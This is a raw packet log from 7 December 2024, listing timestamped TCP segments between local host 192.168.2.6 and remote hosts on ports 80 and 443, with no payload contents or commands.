Dec 7, 2024 22:40:55.330676079 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.331516027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.331567049 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.331675053 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.332063913 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.332509995 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.332565069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.332602978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.332690001 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.333523989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.333645105 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.333694935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.334559917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.334624052 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.334707022 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.334748983 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.335586071 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.335634947 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.335671902 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.335767031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.336580992 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.336627960 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.336683035 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.336832047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.337816000 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.337913990 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.337955952 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.338612080 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.338659048 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.338747978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.338794947 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.339617968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.339663029 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.339742899 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.339783907 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.340648890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.340744972 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.340794086 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.341701984 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.341753006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.341836929 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.341880083 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.342684031 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.342735052 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.342794895 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.342947006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.343719006 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.343777895 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.343818903 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.343864918 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.344758034 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.344815969 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.344885111 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.344960928 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.345849037 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.345911026 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.345978975 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.346257925 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.346792936 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.346837997 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.346913099 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.346955061 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.347809076 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.347853899 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.347914934 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.347956896 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.348912001 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.348953962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.349029064 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.349067926 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.349831104 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.349880934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.349946022 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.349987984 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.350821018 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.350868940 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.350922108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.350989103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.351836920 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.351893902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.351933002 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.351969957 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.352858067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.352911949 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.353024006 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.353068113 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.353950024 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.354042053 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.354067087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.354079008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.354921103 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.354975939 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.355041027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.355191946 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.355927944 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.355971098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.356044054 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.356090069 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.356998920 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.357048988 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.357067108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.357101917 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.357968092 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.358007908 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.358122110 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.358166933 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.359013081 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.359074116 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.359110117 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.359148026 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.360009909 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.360069036 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.360137939 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.360213995 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.361032963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.361085892 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.361114979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.361157894 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.362031937 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.362080097 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.362174988 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.362519979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.363105059 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.363152981 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.363183022 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.363248110 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.364082098 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.364134073 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.364202023 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.364248991 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.364728928 CET	443	49833	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:55.364792109 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:55.365086079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.366411924 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:55.366425037 CET	443	49833	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:55.366446018 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.366672039 CET	443	49833	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:55.368226051 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:55.368285894 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:55.368292093 CET	443	49833	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:55.368381023 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:55.415328979 CET	443	49833	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:55.504048109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.504115105 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.504151106 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.504170895 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.504545927 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.504602909 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.504637003 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.504682064 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.505598068 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.505650043 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.505686045 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.505729914 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.506555080 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.506603003 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.506668091 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.506715059 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.507663965 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.507710934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.507720947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.507770061 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.508620977 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.508666992 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.508721113 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.508766890 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.509639978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.509689093 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.509726048 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.509776115 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.510649920 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.510701895 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.510778904 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.510831118 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.511672974 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.511724949 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.511832952 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.511881113 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.512706041 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.512758017 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.512799025 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.512846947 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.513787031 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.513838053 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.513874054 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.513919115 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.514719009 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.514771938 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.514801979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.514846087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.515769005 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.515820026 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.515933990 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.515985012 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.516801119 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.516851902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.516885996 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.516932011 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.517843008 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.517891884 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.518035889 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.518100023 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.518809080 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.518857956 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.518955946 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.519010067 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.519851923 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.519901037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.519939899 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.519989967 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.520924091 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.520977020 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.521334887 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.521379948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.521879911 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.521928072 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.521987915 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.522042036 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.522865057 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.522912979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.522989988 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.523039103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.523904085 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.523953915 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.524004936 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.524051905 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.524900913 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.524950981 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.525028944 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.525074005 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.525943995 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.525995970 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.526053905 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.526093960 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.526983976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.527034044 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.527106047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.527156115 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.527978897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.528033018 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.528098106 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.528145075 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.528989077 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.529040098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.529114008 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.529162884 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.530011892 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.530107975 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.530174971 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.530215979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.531039000 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.531094074 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.531158924 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.531197071 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.532258034 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.532308102 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.532381058 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.532439947 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.533222914 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.533272982 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.533345938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.533390999 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.534092903 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.534147024 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.534204960 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.534252882 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.535130024 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.535249949 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.535301924 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.536178112 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.536230087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.536267042 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.536307096 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.537141085 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.537193060 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.537231922 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.537280083 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.538197041 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.538248062 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.538275003 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.538316965 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.539191961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.539287090 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.539344072 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.540225983 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.540273905 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.540328979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.540380001 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.541214943 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.541347027 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.541409016 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.542244911 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.542325974 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.542346001 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.542387962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.543262959 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.543323994 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.543364048 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.543407917 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.544275999 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.544328928 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.544353962 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.544393063 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.545288086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.545337915 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.545420885 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.545466900 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.546334028 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.546442032 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.546497107 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.547317982 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.547451973 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.547501087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.548371077 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.548417091 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.548540115 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.548578978 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.549380064 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.549426079 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.549523115 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.550407887 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.550457001 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.550576925 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.550617933 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.551513910 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.551563978 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.551631927 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.551672935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.552438021 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.552476883 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.552509069 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.552551031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.553484917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.553574085 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.553627014 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.554450989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.554512978 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.554577112 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.554620981 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.555509090 CET	80	49827	185.215.113.16	192.168.2.6
